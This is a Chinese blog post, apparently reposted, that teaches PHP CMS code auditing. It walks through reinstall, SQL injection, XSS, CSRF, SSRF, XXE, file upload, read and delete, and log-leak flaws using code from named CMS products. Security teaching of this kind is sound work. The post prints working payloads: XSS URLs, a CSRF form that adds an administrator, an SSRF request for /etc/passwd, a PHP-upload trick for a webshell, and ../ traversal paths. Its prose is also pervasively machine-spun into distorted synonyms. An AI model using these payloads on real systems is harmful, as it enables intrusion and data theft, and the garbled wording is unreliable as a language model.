首页 » SEO优化 » phpdefinedebug技巧_代码审计之旅

phpdefinedebug技巧_代码审计之旅

访客 2024-12-09 0

扫一扫用手机浏览

文章目录 [+]

1.通过危险函数逆推是否用户可控2.通读所有代码3.黑盒+白盒

我一样平常都会用第一种或者第二种办法,第一种办法能够快速的找到漏洞但是漏的可能会多,第二种办法一样平常用在规模比较小的cms,由于文件较少,以是代码全看了也花不了多少功夫,第三种我很少用,我以为这是新手审计的缺陷,实在更该当黑盒+白盒一起用的,由于在黑盒里我们可能可以创造一些看代码的时候不把稳的漏洞,比如越权/逻辑等漏洞。

phpdefinedebug技巧_代码审计之旅

剖析源码目录

我们在这个步骤只须要对源码目录有个大概的理解,知道每个目录里放的是什么文件就行了,比如install目录放的安装文件,admin目录放的后台管理干系的文件,function目录放的网站运行时须要用到的方法的干系文件等。

phpdefinedebug技巧_代码审计之旅
(图片来自网络侵删)
剖析过滤情形

在这个步骤我们要对源码的过滤情形进行剖析,看看是全局过滤还是单独写某个函数用于对输入点一个个的过滤。

全局过滤一样平常只会对XSS/SQL进行过滤,比如网站可能会写一个函数,对$_GET/$_POST/$_COOKIE进行过滤。

例:

function zc_check($string){ if(!is_array($string)){ if(get_magic_quotes_gpc()){ return htmlspecialchars(trim($string)); }else{ return addslashes(htmlspecialchars(trim($string))); } } foreach($string as $k => $v) $string[$k] = zc_check($v); return $string;}if($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET); }

这种便是全局过滤,一样平常会在某个文件里,然后每个文件都会包含这个文件。

比如在zzcms里,这是inc/stopsqli.php:

然后可以看到index.php里包含了conn.php:

而conn.php里又会包含这个stopsqli.php:

这样只要包含了conn.php的文件,就会对用户输入的参数进行全局过滤。

第二种便是针对性过滤,程序员可能会写一个函数,不会直接把全局变量放进去过滤,而是针对性的过滤。

例:

function sqlchecks($StrPost){$StrPost=str_replace("'","’",$StrPost);$StrPost=str_replace('"','“',$StrPost);$StrPost=str_replace("(","(",$StrPost);$StrPost=str_replace(")",")",$StrPost);$StrPost=str_replace("@","#",$StrPost);$StrPost=str_replace("/","",$StrPost);$StrPost=str_replace("/","",$StrPost);return $StrPost;}

程序的正常过滤情形:

$currentpage=UsualToolCMS::curPageURL();$l=UsualToolCMS::sqlcheck($_GET["l"]);$id=UsualToolCMS::sqlcheck($_GET["i"]);$t=UsualToolCMS::sqlcheck($_GET["t"]);

这种我把他称为局部过滤,即点对点的过滤。

如果看不明白过滤情形,可以直接在网站随便一个文件内写一个内容:

var_dump($_GET);exit();

这样写了之后就可以看到是否对单引号进行转义以及过滤了,把稳这里须要在包含完所有文件后再写这段代码。

常见漏洞挖掘重装漏洞

我把代码审计分为安装前和安装后两个部分,这样比较随意马虎区分开漏洞,重装漏洞导致的缘故原由有这么几个:

1.代码中并未判断安装锁程序是否存在就进入了安装程序2.代码中止定了安装锁是否存在,但是没有用exit或die退出PHP程序,只是用了header函数来指定location,这样实际上是没有效果的,依旧存在重装漏洞。
3.代码中止定了安装锁是否存在,利用了exit或die函数退出PHP程序,但只在某个步骤例如step1判断了,而安装程序是分开进行的,也便是说我们可以直接跳过step1进入step2/3/4等。
4.代码中止定了安装锁是否存在,并且是在开头判断的,如果存在就利用exit或die退出PHP程序,这时候如果我们想重装只有一个办法,便是删除/修正安装锁文件,详细看代码是怎么写的,如果是判断存在我们就要找一个文件删除漏洞,如果是判断文件内容我们可以找一个修正文件内容的点,这时也算是组合拳导致重装漏洞,不算是纯挚的重装漏洞了。

以上便是我总结的重装漏洞常常涌现的几个场景。

例:

5isns重装漏洞:

install/index.php:

<?php

define('DEBUG', 2);define('ROOT_PATH', substr(dirname(__FILE__), 0, -7));define('INSTALL_PATH', dirname(__FILE__).'/');$conf = (include ROOT_PATH.'data/config/conf.default.php');//得到默认配置$conf_db = (include ROOT_PATH.'data/config/db.default.php');//得到默认配置$conf = array_merge($conf,$conf_db);$conf['log_path'] = ROOT_PATH.$conf['log_path']; $conf['tmp_path'] = ROOT_PATH.$conf['tmp_path']; include ROOT_PATH.'basephp/base.php';include INSTALL_PATH.'func.php';$action = param('action');is_file(ROOT_PATH.'/data/config/db.php') AND DEBUG != 2 AND message(0, jump('安装引导', '../'));

以上即为安装前面所有的判断,可以创造,并没有判断锁文件是否存在。
并且安装文件不会自删除,以是此处存在一个重装漏洞。

至于重装漏洞可以干什么,我总结了一下:

1.在安装时写入配置文件getshell2.重装后登录后台getshellSQL注入

在挖掘SQL注入这类型的漏洞之前,我们要先清楚数据库利用的编码办法,如果是GBK则可能造成宽字节注入,从而addslashes这类函数就可以直接绕过。

其次要清楚的是程序是局部过滤还是全局过滤,不管是全局过滤还是局部过滤,我都把情形分为两种:

1.对关键字进行过滤2.利用PHP函数进行过滤

全局过滤:

首先如果是全局过滤的话,如果仅仅是对关键字进行过滤,那我们只须要考虑如何绕过这个关键字过滤。

例:

<?phpfunction replace($str){ return preg_replace('/union|select|time|sleep|case|when|substr|update/i','',$str);}foreach(array('_GET','_POST','_COOKIE') as $request){ foreach($$request as $_k => $_v) { ${$_k} = replace($_v); }}

这便是程序的一个过滤并注册变量的函数,会把_GET/_POST/_COOKIE中的键对值经由过滤后注册变量。

现在我们可以来看看过滤函数,一个很大略的过滤,把union/select这些关键字更换为空,现在我们要想绕过这个过滤函数的办法,既然更换为空,那么我们可以这么布局:ununionon,这样经由过滤之后值就变为union了,也便是师傅们常说的双写绕过,绕过了过滤函数之后,注入就变得很大略了。

但大多数CMS都不会利用对关键字进行过滤这种办法而是利用转义的办法,即利用addslashes函数。

由于addslashes函数会将单引号/双引号/NULL等字符前面自动加上一个\作为转义,以是正常情形下我们的单引号或者双引号是无法闭合的。

以是在这种情形下如果想挖SQL注入我们得不雅观察以下几个点:

数据库编码

如果数据库利用的不是UTF-8编码而是GBK,我们就可以直接忽略掉这个过滤,利用宽字节注入。

数字型注入

所谓数字型注入,即未用引号包裹就代入查询,那么既然没有引号包裹,我们想要注入自然也就不须要闭合引号。

注入前对参数进行解码

常见的如urldecode/base64decode等,如果在注入前对参数进行理解码,我们就可以利用二次编码进行注入。

未包含过滤文件

有的程序没有包含过滤文件也进行了数据库干系操作,这种情形我们就可以直接忽略全局过滤进行注入。

二次注入

由于二次注入还没挖到过,也就不在这里班门弄斧了。

LIMIT注入

这算是比较鸡肋的点把,实际上也可以归类未数字型注入那一块,由于LIMIT后是可以注入的,而LIMIT后的变量一样平常都是数字,以是不会进行过滤,直接代入数据库查询,这样也是可以造成SQL注入的,但由于MYSQL高版本在LIMIT后无法利用select,以是说这是一个比较鸡肋的点。

未利用过滤函数的全局变量

比如程序只对GET/POST利用了全局过滤,而COOKIE没利用,这时候我们就可以找哪个地方代入COOKIE中的变量进入数据库进行查询。

最常见的实在是XFF注入,由于大多数情形全局过滤都不会过滤$_SERVER,而如果程序获取用户IP的情形是可控的,比如$_SERVER['HTTP_X_FORWARDED'],并将IP代入数据库操作中,那么就可以直接忽略全局过滤进行注入。

局部过滤

如果程序利用的是局部过滤,那么除了全局过滤以上的几种方法我们可以考虑之外,还可以考虑他哪些输入点没有利用过滤函数。

例:

UsualToolCMS最新版前台注入

首先程序写了一个过滤函数进行局部过滤:

function sqlchecks($StrPost){$StrPost=str_replace("'","’",$StrPost);$StrPost=str_replace('"','“',$StrPost);$StrPost=str_replace("(","(",$StrPost);$StrPost=str_replace(")",")",$StrPost);$StrPost=str_replace("@","#",$StrPost);$StrPost=str_replace("/","",$StrPost);$StrPost=str_replace("/","",$StrPost);return $StrPost;}

程序的正常过滤情形:

$currentpage=UsualToolCMS::curPageURL();$l=UsualToolCMS::sqlcheck($_GET["l"]);$id=UsualToolCMS::sqlcheck($_GET["i"]);$t=UsualToolCMS::sqlcheck($_GET["t"]);

这种情形如果我们想找一个SQL注入,最大略的办法便是找哪个变量是我们可控的且没有利用过滤函数的,而刚好我也找到了一处:

/paypal/index.php:

require "config.php";$no=trim($_GET["no"]);$myorder=$mysqli->query("select ordernum,summoney,unit from `cms_order` WHERE ordernum='$no'");

可以看到,这里的$no变量没有利用过滤函数就直接代入了数据库进行查询,从而导致了SQL注入,我们可以验证一下:

这里由于数据无回显,且程序默认关闭了报错显示,以是我用的延时注入,在此也感谢蝴蝶刀师傅教了我一种新的延时技巧。

XSS

XSS也分为反射型、存储型以及DOM型。

反射型XSS

当我们想挖掘这类漏洞时,须要重点关注程序的输出,比如echo/print等,当程序直接将未经由滤的用户输入输出除了,就会造成反射型XSS。

而这类漏洞我挖的最多的情形是:

echo $_GET['callback'].(...);

也便是JSONP处,实在大多数反射型的XSS都一样,在PHP中一样平常都是利用echo这类代码将输入直接输出出来。

下面举几个反射型XSS的例子:

phpwcms最新版反射型XSS

/image_zoom.php:

$img = base64_decode($_GET["show"]); # echo base64_encode('?onerror="alert(1)"'); # exit(); list($img, $width_height) = explode('?', $img); # echo $width_height; # exit(); $img = str_replace(array('http://', 'https://', 'ftp://'), '', $img); $img = strip_tags($img); $width_height = strip_tags($width_height); $img = urlencode($img);}?><!DOCTYPE html><html><head> <title>Image</title> <meta charset="<?php echo PHPWCMS_CHARSET ?>"> <script type="text/javascript" src="<?php echo TEMPLATE_PATH; ?>inc_js/imagezoom.js"></script> <link href="<?php echo TEMPLATE_PATH; ?>inc_css/dialog/popup.image.css" rel="stylesheet"></head><body><a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?>></a></body></html>

程序会先对通报进来的变量进行base64decode,并拼接进<img>标签内,由于这里利用了strip_tags()函数,以是我们肯定是不能自己闭合后再构建一个新的标签的,但是由于拼接在img标签内,以是我们可以直接在img标签内X。

payload:

http://phpwcms/image_zoom.php?show=P29uZXJyb3I9ImFsZXJ0KDEpIg==

ThinkLC分类信息系统前台反射型XSS

api/userinfo.php:

if ( isset( $_GET['jsoncallback'] ) ) { echo $_GET['jsoncallback'] . '(' . json_encode( $user ) . ')';} else { echo 'var user={uid:' . $user['uid'] . ',gid:' . $user['gid'] . ',score:' . $user['score'] . ',cart:' . $user['cart'] . ',money:' . $user['money'] . ',name:"' . $user['name'] . '",email:"' . $user['email'] . '",oauth:"' . $user['oauth'] . '",mobile:"' . $user['mobile'] . '",authmobile:' . $user['authmobile'] . ',token:"' . $user['token'] . '"};';}

可以看到这类是jsonp的点,一样平常这种点的content-type该当为json,但是程序并没有设置,以是默认情形下是text/html的,而未对GET通报进来的变量就输出出来,同样造成了反射型XSS:

payload:

http://saxuecms/api/userinfo.php?jsoncallback=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

Catfish最新版前台反射型XSS

<?php/ Project: Catfish. Author: A.J Date: 2017/8/8 /namespace app\catfishajax\controller;use think\Request;use think\Hook;use think\Url;class Index extends Common{ public function index(Request $request) { $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $host = $_SERVER['HTTP_HOST']; $len = Request::instance()->isSsl() ? 8 : 7; if(substr($referer,$len,strlen($host)) == $host) { $this->params = $request->param(); Hook::add('catfish_ajax',$this->plugins); Hook::listen('catfish_ajax',$this->params,$this->ccc); if(isset($this->params['return'])) { echo $this->params['return']; } } else { $this->redirect(Url::build('/')); exit(); } }}

漏洞代码:

$this->params = $request->param(); if(isset($this->params['return'])) { echo $this->params['return']; }

可以看到直接将用户输入给输出出来了,并未经由任何过滤,然鹅要输出得先知足一个条件:

if(substr($referer,$len,strlen($host)) == $host)

以是这个漏洞实际上还是有点鸡肋的。
只是为了理解反射型XSS产生的位置以及可能产生的缘故原由,以是以此为例。

复现:

存储型XSS

存储型XSS是由于网站将用户输入存储进数据库中,当用户再次浏览某页面时,从数据库中获取之前的输入并输出,如果在输入->数据库这块过程中没有进行实体化编码以及输出->页面的过程中没进行实体化编码,则很随意马虎产生存储型XSS。

例:

鲇鱼CMS留言处存储型XSS:

之前我看到有这个漏洞报告,

public function liuyan(){ $rule = [ 'neirong' => 'require', 'youxiang' => 'email' ]; $msg = [ 'neirong.require' => Lang::get('Message content must be filled out'), 'youxiang.email' => Lang::get('The e-mail format is incorrect') ]; $data = [ 'neirong' => Request::instance()->post('neirong'), 'youxiang' => Request::instance()->post('youxiang') ]; $validate = new Validate($rule, $msg); if(!$validate->check($data)) { echo $validate->getError(); exit; } $data = [ 'full_name' => Request::instance()->post('xingming'), 'email' => htmlspecialchars(Request::instance()->post('youxiang')), 'title' => htmlspecialchars(Request::instance()->post('biaoti')), 'msg' => htmlspecialchars(Request::instance()->post('neirong')), 'createtime' => date("Y-m-d H:i:s") ]; Db::name('guestbook')->insert($data); return 'ok';}

这里full_name处的代码是被我改了的,原来加了一个htmlspecialchars的。

在代码中可以看到,程序直接将我们的xss代码写入了数据库并未做实体化,让我们再来看看输出的地方,这里要先重点关注存储进的表guestbook。

一样平常找存储型XSS便是见地式哪个地方将我们输入的数据插入数据库而不做实体化处理,然后再找哪个地方利用了这个表。

在这里我们可以全局搜索guestbook来查找利用了这个表的位置,快速定位输出点:

可以看到有这么几个地方用了guestbook的表,看识破绽触发位置:

public function messages(){ $this->checkUser(); $this->checkPermissions(5); $data = Db::name('guestbook')->order('createtime desc')->paginate(10); $this->assign('data', $data); $this->assign('backstageMenu', 'neirong'); $this->assign('option', 'messages'); return $this->view();}

可以看到程序将查询出来的结果直接代入模板中了,以是就产生了存储型XSS。

复现:

鲇鱼CMS最新版存储型XSS(收藏处)

public function shoucang() { $data = Db::name('user_favorites')->where('uid',Session::get($this->session_prefix.'user_id'))->where('object_id',Request::instance()->post('id'))->field('id')->find(); if(empty($data)) { $postdata = Db::name('posts')->where('id',Request::instance()->post('id'))->field('id,post_title,post_excerpt')->find(); $data = [ 'uid' => Session::get($this->session_prefix.'user_id'), 'title' => $postdata['post_title'], 'url' => 'index/Index/article/id/'.Request::instance()->post('id'), 'description' => $postdata['post_excerpt'], 'object_id' => Request::instance()->post('id'), 'createtime' => date("Y-m-d H:i:s") ]; Db::name('user_favorites')->insert($data); } return true; }

程序将用户输入post('id')直接insert进数据库而不检讨内容,从而导致了存储型XSS。

数据包:

虽然只是个self-xss,但如果结合CSRF,危害就会扩大很多。

复现:

点击个人中央收藏处即可触发:

以是找存储型XSS的办法实际上是:重点关注insert,查找insert表内数据的输出位。

如果有误,希望师傅斧正。

CSRF

既然要找CSRF,那肯定是要找一些危害比较大的,而不去管一些小的功能点,比如CSRF变动姓别等...

以是如果我们在找这方面的漏洞时,可以首先探求后台的一些功能点(添加管理员/修正管理员密码)等,CSRF多是由于没有验证token及referer而存在。

而有时候后台CSRF合营上一些后台的漏洞每每能造成一些大的危害,如任意文件上传+上传点处CSRF = Getshell。

这类漏洞很随意马虎找,而且我建议利用黑盒去找,方便些也快一些,让我们来看看一些不存在CSRF的CMS他们的后台添加管理员的数据包是若何的:

POST /index.php/admin/Index/addmanageuser.html HTTP/1.1Host: nianyuContent-Length: 126Cache-Control: max-age=0Origin: http://nianyuUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: think_var=zh-cn; PHPSESSID=0diflkok1m4s1qi2cl04cbe1b5Connection: closeyonghuming=admin1&pwd=12345678&repeat=12345678&juese=6&checkCode=818391564379848&verification=dfb048d5f2451c08ff35711fec9dc697

可以看到多了checkCode和verification两个参数,这两个参数是用来验证是否为管理员操作的,可以把他们当作token,而由于这两个参数是随机的,以是这里也就不存在CSRF。

我认为如果不考验token,也不考验referer,就相称于存在CSRF。

例:

jtbc最新版后台CSRF添加管理员:

POST /console/account/manage.php?type=action&action=add HTTP/1.1Host: jtbcContent-Length: 73Accept: /X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: jtbc_console[username]=admin; jtbc_console[authentication]=b3d6551693decb76825ab8ee04d3bd85Connection: closeusername=admin2&password=admin&cpassword=admin&role=-1&email=123%40qq.com

以上为添加管理员的数据包,可以看到是不存在任何token的,而纵然去掉referer也是可以添加成功的,我们利用Burp天生一个CSRF-POC:

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://jtbc/console/account/manage.php?type=action&action=add" method="POST"> <input type="hidden" name="username" value="admin2" /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="cpassword" value="admin" /> <input type="hidden" name="role" value="-1" /> <input type="hidden" name="email" value="123@qq.com" /> <input type="submit" value="Submit request" /> </form> </body></html>

在浏览器中测试返回结果如下,表明添加成功。

SSRF

这类漏洞我一样平常是基于危险函数来找,比如curl_exec/file_get_contents/fsockopen等,如果还有多的函数希望师傅们能够发出来。

如果以上函数中的url,即参数为用户可控的,那么就可能造成SSRF。

例:

贝云cms前台SSRF:

漏洞文件:application\index\controller\User.php

漏洞函数:

public function Post($curlPost,$url){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_NOBODY, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost); $return_str = curl_exec($curl); curl_close($curl); return $return_str;}

可以看到这里的$url是我们可控的,因此可以利用file协议来读取任意文件,当然也可以探测内网,攻击redis等,紧张还是看利用环境。

payload:

index.php/index/User/postcurlPost=postdata&url=file:///etc/passwd

在小厂利用有限,由于file://协议须要利用绝对路径,以是利用条件是我们得知道绝对路径。

XXE

同样的,这类漏洞可以根据危险函数逆推回去,而一样平常造成XXE的函数为:simplexml_load_string(PHP),还可以关注一下Document等关键字。

例:

豆信v4.04前台XXE:

全局搜索simplexml,可以看到这么一处地方:

<?php / 微信支付异步关照处理程序 @author 艾逗笔<765532665@qq.com> /ini_set('always_populate_raw_post_data',-1);$xml = file_get_contents('php://input');$arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true); // 将xml格式的数据转换为array数组print_r($arr);$attach = $arr['attach']; // 获取关照中包含的附加参数$params = json_decode($attach, true); // 将附加参数转换为数组#var_dump($params);if ($params['notify']) { $notify_url = $params['notify']; // 将关照转发到插件掌握器中进行处理 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $arr); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $return = curl_exec($ch); curl_close($ch);}?>

该文件所有代码如上,我们可以创造$xml是我们可控的,由此产生一处XXE。

PS:XXE我个人不是很理解,多次学习未果,以是这类不进行详细举例。

任意文件上传

这类漏洞我也是根据危险函数逆推回去,看看上传后缀是否可控,重点关注函数:file_put_contents/move_uploaded_file/fopen/fwrite等。

例:

finecms v5.0.9前台任意文件上传:

漏洞文件:/dayrui/controllers/member/Account.php

漏洞代码:

public function upload() { // 创建图片存储文件夹 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir); if ($_POST['tx']) { $file = str_replace(' ', '+', $_POST['tx']); if (preg_match('/^(data:\simage\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { exit(dr_json(0, '目录权限不敷或磁盘已满'));

后缀和内容是从以下正则中提取出来并对其拼接而的出来的,以是我们先剖析正则:

preg_match('/^(data:\simage\/(\w+);base64,)/', $file, $result$ext= $matches[2];$content= $matches[1];

我们布局一个data:image/php;base64,base64encode(phpcode);

这时matches1即为php,而matches2便是我们的php代码了,由于后面要经由一次base64decode,以是我们须要先encode一次。

看看新版是如何修复的:

public function upload() { // 创建图片存储文件夹 $dir = dr_upload_temp_path().'member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir); if ($_POST['tx']) { $file = str_replace(' ', '+', $_POST['tx']); if (preg_match('/^(data:\simage\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) { exit(dr_json(0, '目录权限不敷')); } if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {

不丢脸出,这里对后缀进行了一次验证,由于这个验证的存在,在新版本中我们只能上传jpg/jpeg/png/gif等后缀。

if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) { exit(dr_json(0, '目录权限不敷')); }任意文件读取

重点关注file_get_contents/readfile/fread/copy等函数,逆推查看参数是否可控,如果可控则存在漏洞。

例:

Catfish CMS V4.2.35任意文件读取:

漏洞文件:/application/multimedia/controller/Index.php

漏洞函数:

public function index(){ if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get')) { if(Request::instance()->get('media') == 'image' && $this->isImage(Request::instance()->get('path'))) { header("Content-Type: image/".Request::instance()->get('ext')); echo file_get_contents(APP_PATH.'plugins/'.$this->filterPath(Request::instance()->get('path'))); exit; } }}

触发漏洞点:

echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));

这里的path是我们可控的,以是我们可以用../../的办法穿越目录读取其他目录的文件。

我们来看看最新版是怎么修复的:

public function index(){ if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get')) { if(Request::instance()->get('media') == 'image' && $this->isImage(Request::instance()->get('path'))) { header("Content-Type: image/".Request::instance()->get('ext')); echo file_get_contents(APP_PATH.'plugins/'.$this->filterPath(Request::instance()->get('path'))); exit; } }}

可以看到多了一个isImage()的函数来验证我们传过来的path:

private function isImage($image){ $pathinfo = pathinfo($image); if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif'])) { return true; } return false;}

利用pathinfo来获取文件信息,再判断extension是否在许可获取的后缀数组内,这样做乍一看很安全,实际上是不屈安的。

php版本小于5.3.4的情形下存在00截断,而file_get_contents函数也存在这个问题,以是如果PHP版本小于5.3.4,这里我们还是可以进行任意文件读取:

测试代码:

<?phpvar_dump(pathinfo($_GET['a']));echo file_get_contents($_GET['a']);

测试环境:PHP 5.2.7

可以看到,终极还是成功读取了,并且extension为jpg,在许可的数组内。

任意文件删除

重点关注unlink函数,逆推不雅观察参数是否可控,如果可控则存在漏洞。

一样平常在用户上传头像时,如果上传成功会把之前的头像删除,一样平常是从数据库里查询之前的头像路径,但是如果我们可以掌握头像路径,就能造成任意文件删除。

例:

yxcms1.2.6任意文件删除:

漏洞代码:

if(!empty($_POST['oldheadpic'])){ $picpath=$this->uploadpath.$_POST['oldheadpic']; if(file_exists($picpath)) @unlink($picpath);

之前将用户通报过来的oldheadpic和$this->uploadpath拼接,并判断文件是否存在,如果文件存在则调用unlink函数删除。

由于直接将用户参数进行拼接,以是我们可以通过布局../../../的办法来穿越目录,删除其他文件。

这里供应几个比较好的任意文件删除利用思路:

1.删除全局防注入文件进行注入2.删除安装锁文件进行重装命令实行

这类漏洞的函数较多,我就不一一展开了,而这类漏洞一样平常存在的位置都是后台,我不会去关注后台的漏洞,以是这类漏洞我理解不深,这里就不班门弄斧了。

日志透露

这类漏洞一样平常要合营文件监控来挖,由于挖的时候我们能看到文件变革情形,如果日志中记录了敏感信息,那么就算是一个严重了,由于ThinkPHP在开启DEBUG的情形下会在Runtime下天生log文件,以是这种类型的漏洞一样平常在TP的程序中涌现,并且日志中记录的一样平常为HTTP报文/SQL语句/掌握器的缺点日志。

只要涌现这HTTP报文/SQL语句,并且内含敏感信息,就可以当一个严重去交洞了。

例:

THINKPHP 3.2:

\Runtime\Logs\Home\{year}_{month}_{day}.log

该路径是很随意马虎猜解的,如果内含敏感信息的话很随意马虎被恶意利用。

网上已经给出了干系的漏洞利用工具:https://github.com/whirlwind110/tphack

但是我个人认为日志这种东西,格式不是固定的,以是还是要根据对应的CMS自己写一份脚本去跑。

总结

当我们在对一份源码进行审计时,须要先理解其全局操作,其次再理解其局部操作,这样更加便于我们理解一份源码的构造,并且我个人建议大家利用黑盒+白盒的办法进行审计,先黑盒粗略过一遍网站构造,再白盒过一遍源码。

对数据库的操作我们可以通读代码来理解,由于关键字不完善,不能直策应用正则匹配的办法来获取漏洞点,但是对PHP某些独立操作如上传文件/删除文件/下载文件等,我建议利用通过函数逆推可控点的办法来探求,这样效率也高些

标签:

相关文章